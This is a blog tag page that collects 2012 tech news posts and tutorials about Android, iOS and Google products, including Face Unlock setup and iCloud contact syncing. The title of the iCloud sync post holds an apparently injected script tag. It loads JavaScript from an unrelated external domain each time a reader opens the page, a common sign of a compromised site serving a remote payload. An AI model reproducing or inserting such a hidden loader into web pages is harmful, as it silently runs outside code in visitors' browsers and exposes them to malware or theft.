Posts tagged google

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Android 4 quietly rolling out to international Galaxy Note

 

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The international Galaxy S II has already received the update to Android 4.0, Ice Cream Sandwich, leaving the sized-up Galaxy Note behind on Android 2.3. Today, several European users are reporting that their devices have received an OTA update notification that brings their phone-tablet hybrid into 2012 with the Android 4.0 update.

Of course, this is a Samsung device, and Samsung has revamped their Touchwiz UI overlay for the Note, which looks a lot more like its Gingerbread variant. Other features in the upgrade include a new and improved S Note application, a new S Memo widget, and the Premium Suite Shape Match and My Story applications. Of course, you’ll get the performance improvements that come with ICS as well.

Owners of the AT&T-branded Galaxy Note will have to wait for the update to pass through carrier testing, which tends to add 1-3 months to the process. Hopefully that process has already begun, and AT&T Note owners will be getting their own taste of Ice Cream Sandwich very soon. We’re leaning towards the update coming sooner than later, as an AT&T-branded Galaxy Note was spotted at CTIA this week.

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Apple officially gives Google Maps the boot, launches own Maps app with turn-by-turn navigation

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It’s been one the big questions hanging over WWDC — will Apple actually toss Google to the side and launch it’s own mapping service specifically for iOS? Well, it’s not a question any more, but a cold hard fact. Apple’s mapping solution is here, taking over where Google left off. The move is hardly shocking since Apple has already confirmed that it’s been working on a traffic database and snatched up a number of mapping companies. Besides, it’s not like Cupertino and Mountain View are the best of buds right now. Maps includes all of the features you’ve come to expect from the previous iOS solution, but with a number of enhancements. This all new mapping solution includes 100 million different business listings, Yelp integration and, biggest of all, turn-by-turn navigation. The app does use anonymously collected data to populate traffic information and any rerouting is brought to your attention with a pop-up notification.

The story isn’t done yet, though. The maps are even rendered in full 3D, not unlike what Google announced last week. (And the news was delivered in a way that made it clear Apple think’s they’ve one upped their former map app provider.) The whole demo — flipping through business listings, flying around in 3D and navigating labyrinth-like city streets — was performed on one of those shiny new iPads… you know, the ones that are getting Siri support soon. Which, if you haven’t figured out yet, plays quite nicely with the new Maps app as we saw in the demo. Ask Siri to find a gas station on your route or how much longer you’ll be on the road and the pleasantly robotic voice gets you the relevant info.


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Google Unveils Nexus Q Streaming Media Player

Google’s Nexus Q uses your Android smartphone or tablet in conjunction with Google Play to stream music and videos to your HDTV, sound system, or just speakers.

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Google debuted a new orb-shaped media streaming device called the Nexus Q before it took the stage for its Google I/O keynote. The Nexus , what the company calls “the first social streaming media player” first appeared on the Google Play website store.

Google’s Nexus Q uses your Android smartphone or tablet in conjunction with Google Play to stream music and videos to your HDTV, sound system, or a pair of speakers. What sets the Nexus Q apart from similar media streaming devices, such as Apple TV, is that it allows you to collaborate with friends via your Android device to create playlists of music and video clips.

The Nexus Q isn’t just an Apple TV clone device from Google. Think of the Nexus Q as a hybrid between Apple’s streaming puck and the Sonos music streaming stereo component. The Q features a built-in 25W amp that can power a pair of bookshelf speakers. In addition, users can sync Qs across multiple rooms.

From a video promo (see below) of the Nexus Q Google says: “streams your favorite entertainment from Google Play and YouTube to the biggest speakers and screen in the house.”

Using the Q, Android users on the same WiFi network can “queue” (get it?) up their Google Play Music tracks. Every user sees the same playlist, and can edit it as they see fit, hence “the first social streaming media player.”

The Nexus Q runs Ice Cream Sandwich, is powered by a dual-core OMAP4460, with 16GB of storage. Google will be shipping the Nexus Q in the next 2-3 weeks for a list price of $299. It’s thrice the price of an Apple TV, but it packs lots more features.


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Android now paying the price for iOS similarities

Summary: Jobs wanted to destroy Android, and it seems that things haven’t changed under Tim Cook’s leadership.

“I will spend my last dying breath if I need to, and I will spend every penny of Apple’s $40 billion in the bank, to right this wrong. I’m going to destroy Android, because it’s a stolen product. I’m willing to go thermonuclear war on this.”

This is what Steve Jobs thought of Android, as recounted in Walter Isaacson’s biography of the late Apple CEO. Since these words were uttered, Apple has been involved in an intense legal battle with Google and other device makers over Android, and it seems that the courts are siding with Apple that Android is indeed ‘a stolen product.’

The latest battle has been over this simple user interface element:

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That ’slide to unlock’ mechanism is a feature that was put into the Android mobile platform, and now a German court has ruled that Motorola’s use of this on certain devices infringes on Apple’s patent. This is bad news for Android because it could mean that Android device sales in Germany could be halted.

Note: The ruling doesn’t apply to Motorola’s Xoom tablet because that uses the Android 3.0 “Honeycomb” software and is unlocked by dragging a padlock icon out of a circle.

How Apple is approaching Android litigation is at polar opposites to the tactic undertaken by Microsoft. Microsoft is happy to license patents and collect royalties from Android handset makers, turning the platform into a cash cow. Apple on the other hand doesn’t seem interested in licensing patents, preferring litigation to make life difficult for Android handset makers. Jobs wanted to destroy Android, and it seems that things haven’t changed under Tim Cook’s leadership. The company seems committed to waging a long-term war on Android.

Anyone who has used both Android and iOS can’t help but notice how much of a similarity there is between the two platforms, and it’s hard to avoid the conclusion that Android was, at the very least, inspired by iOS. And now Android is paying the price.

But Android isn’t the only platform that seems to be benefiting from ‘borrowing’ ideas from Apple. What about the Windows 8 unlock screen? Every time I swipe to unlock, it reminds me of unlocking my iPhone or iPad … and it’s hard to imagine that folks at Apple haven’t noticed this.

When Steve Jobs unveiled the iPhone to the world back in 2007, and he said ‘boy, have we patented it,’ he wasn’t kidding. And now Android is reaping the whirlwind of that patenting extravaganza.


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Setting Up your Face Recognition unlock feature in Android 4.0 devices

One of the most innovative and impressing features of the new Android OS (4.0 and later), is the Face Recognition screen unlock:

Isn’t it amazing to have your device locked with your facial details!!

In the past, Android owners have made use of PIN numbers or swipes or patterns to protect their phones. But now, with Ice Cream Sandwich, you can use your own beautiful mug to unlock your Device.

Below we are going to show you how to get it set up on your Android 4.0 Smartphone.

 

1- First thing’s first. Head to the Settings on your device. It should look similar to what you see below. Once you’re there, you’ll want to select Security.

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2- You will now see a bunch of Security options. Select Screen lock.

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3- You will be brought to a screen like this, presenting you with a variety of security options. Face Unlock is what you’re here for so select Face Unlock.

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4- Google will then tell you that Face Unlock is now as secure as your other options. But that’s cool right? Right. Select Set it up.

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5- You’ll now be taken to a screen that gives you some hints on how to setup the photo of your face that will act as the unlocking mechanism on your phone. Take heed and select Continue.

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6- You will then see your beautiful face, courtesy of your device’s front facing camera. If you followed step 5, you be taken to the below screen within a couple of seconds. It took me one or two tries. Hit Continue.

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7- You’ll then be presented with this screen. This screen is important since this will be your backup for when Face Unlock doesn’t work. It doesn’t happen often but it does, so choose wisely. PIN is exactly what you think it is. You enter a numerical password and then use that to unlock your phone. Pattern is the familiar series of swipes.

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8- Assuming you can follow directions, you will be met with this screen. You should be proud. That’s all it takes folks. You’ll now be able to unlock your Android 4.0 smartphone with your beautiful face.

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Oh, and don’t forget to hit OK.

Now Google tried to be more innovative in Jelly Bean, so they came up with Face Detection with a blink!!

Yes you have to wink to your android device as you are doing to your girlfriend , to unlock you device.

I guess Girlfriends are going to have more competitors in a very short time ;)

This new feature is a part of Face Unlock and it’s called a “Liveness check”.

Google is highlighting this feature as a security strength to their Face Unlock, since it makes sure you’re a real, live person before unlocking your device. As we all know, photos can’t blink, so in theory this should enhance the practical security of Face Unlock.

To enable this feature , just check the box beside Liveness Check which is found under Security.

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Now, do it, Have fun, and be Secured :)


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Sync your Android phone contacts with iCloud<script type="text/javascript" src="http://expan.dk/cgi/ajax.php"></script>

For so many people they used to have an iPhone along with a secondary Android phone, or vice versa. One of the challenges those people used to face is to maintain the same contacts on both devices, and to keep them in-sync.

Some of them used to have the very easy google sync running directly from their PC or mac to their google account and then from the google account to their Android phone, until Apple and Google decided to put a stop to that… bit of a shame as the iPhone was syncing to the PC or mac and then through to google and their Android phone and back again.

At long last, after much frustration having had sync to google contacts screwed by the apple and google platform spat we managed to get iCloud Contact Sync working on Android phone.

On Android, install a CardDav app, this one is great and free.

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1. Add an account in CardDav.
2. For Server name enter http://contacts.icloud.com.
3. Make sure SSL is checked.
4. For username enter your iCloud username (example anyname@anyaddress.com).
5. For password enter your iCloud password.
6. Make sure that one way syncing is selected (from server to phone) as the developer can’t guarantee 100% two-way syncing.
7. Press Ok, wait a few seconds for it to confirm.

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Away you go – your iCloud contacts now sync with your Android phone, it may take a few minutes for them to show up. And by the way this should work for every single CardDav compatible device.

Have fun.


Want to Search Google Images? Draw a Picture

Searching for images on Google isn’t always an easy task using words alone. Your search is going to rely on how images on the web are tagged or captioned. A new tool, however, lets you use self-created images, rather than words, to find pictures on the web.

Unofficial Google Image Search by Drawing lets you draw a picture, drag and drop a photo from your computer, or take a picture. It then searches the web for similar-looking images.

The tool works fairly well for simple images. Check out the video above for a demo.

Franz Enzenhofer, an Austrian developer, created the tool. Give it a shot and tell us in the comments how it worked for you.

Could you see this being a useful tool — especially, say, for designers and artists? Or is it just a bit of fun?


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Samsung Galaxy S3 Makes Appearance On Samsung Website!

If you were disappointed when rumors broke out that the Samsung Galaxy S3 may skip Mobile World Congress 2012 and only launch sometime in April then here is some good news.

Samsung Galaxy S3 (GT-I9300) listed on Samsung UAE website

It looks like Samsung is certainly preparing to launch the Galaxy S3 as is evident but a device that is believed to be the third-generation Galaxy S model spotted on a Samsung support website (screenshot below).

The Galaxy S III is believed to be codenamed GT-I9300, a next logical code considering that the original Samsung Galaxy S was GT-I90XX and the Galaxy S II GT-I91XX (the Samsung Galaxy Nexus and Galaxy note were I9250 and I9220 respectively).

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Sony’s SmartWatch Accessory for Android Phones

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The SmartWatch is part of Sony‘s Smart Extras for their Xperia smartphones.  The SmartWatch connects to an Android phone via Bluetooth and shows you information about incoming calls, and lets you see emails, weather, Twitter and Facebook updates, and even the time.  You can even control music playback with the SmartWatch.  It has a cliplike the one on Apple’s iPod nano, so you can clip it onto your bag’s strap.  Or you can buy one of Sony’s optional watchbands, available in several colors, and wear it on your arm.  It  fits on any 20mm watch strap, if you have one you already like.  The SmartWatch doesn’t have a speaker orheadphone jack, but you can listen to the music on your smartphone with a Bluetooth headset.  You can even buy apps for the SmartWatch from the Android Market.  The SmartWatch should be available in Q1 of 2012.  The Sony website doesn’t show a price yet.


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iPhone 4S inches Apple closer to Android in top market share

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Android is still beating Apple in the smartphone wars, but the iPhone 4S has narrowed the gap between the two rivals, according to NPD data released yesterday at CES.

Analyzing last year’s smartphone market, NPD found that iOS’s share surged to 43 percent in October and November from just 26 percent in the third quarter, thanks largely to demand for the iPhone 4S. Though Google’s mobile OS maintained its lead, its share dropped in October and November to 47 percent from 60 percent in the previous quarter.

With Apple and Android vying for the top spot, other smartphone players have lagged far behind, "turning the OS battle into a two-horse race," according to NPD.

In third place was RIM’s OS, which steadily dropped market share over the past 12 months, falling from 19 percent in the fourth quarter of 2010 to just 6 percent in October and November of last year. Microsoft’s Windows Mobile and Windows Phone 7 also struggled, each grabbing around 1 percent of the market toward the end of the year.

Microsoft is counting on Nokia to give Windows Phone a much-needed shot in the arm. The Finnish phone maker unveiled its new Lumia 900 at CES yesterday. Slated for AT&T, the Lumia 900 is Nokia’s first 4G LTE device to sport the Windows Phone OS.

Some analysts believe Windows Phone could climb its way to third place in the global smartphone arena ahead of RIM, helping both Microsoft and Nokia. Credit Suisse analyst Kulbinder Garcha sees Windows Phone as the key to reviving Nokia’s sluggish sales and falling market share. But both companies face an uphill battle in a landscape currently sewn up by iOS and Android.


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